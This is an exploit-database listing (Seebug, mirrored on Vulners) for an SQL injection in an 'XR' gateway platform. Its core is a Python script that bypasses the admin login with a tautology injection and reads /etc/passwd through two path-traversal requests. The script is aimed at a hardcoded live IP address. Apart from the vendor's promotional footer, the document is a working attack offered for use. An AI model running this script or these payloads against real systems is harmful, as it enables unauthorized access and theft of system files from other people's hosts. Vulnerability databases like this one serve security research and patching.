Lucene search
K

XR网关平台SQL注入

🗓️ 28 Aug 2015 00:00:00Reported by c26Type 
seebug
 seebug
🔗 www.seebug.org👁 54 Views

XR网关平台SQL注入 exploit

Code

                                                #!/usr/bin/env python
#coding=utf-8


import requests

def login():
        url = target + '/msa/main.xp'
        data = {'Fun':'msaAdminLogon',
                        'username': "admin' or'1'='1",
                        'password': '123456'
                        }
        req = requests.post(url = url, data = data)
        print req.text

def download():
        url = target + '/msa/../../../../../../../../etc/passwd'
        req = requests.get(url = url)
        print req.text

def download2():
        url = target + '/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=test.txt+downLoadFile=../etc/passwd'
        req = requests.get(url = url)
        print req.text

if __name__ == '__main__':
        target = 'http://112.16.141.6'

        login()

        download()

        download2()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2015 00:00Current
7.1High risk
Vulners AI Score7.1
54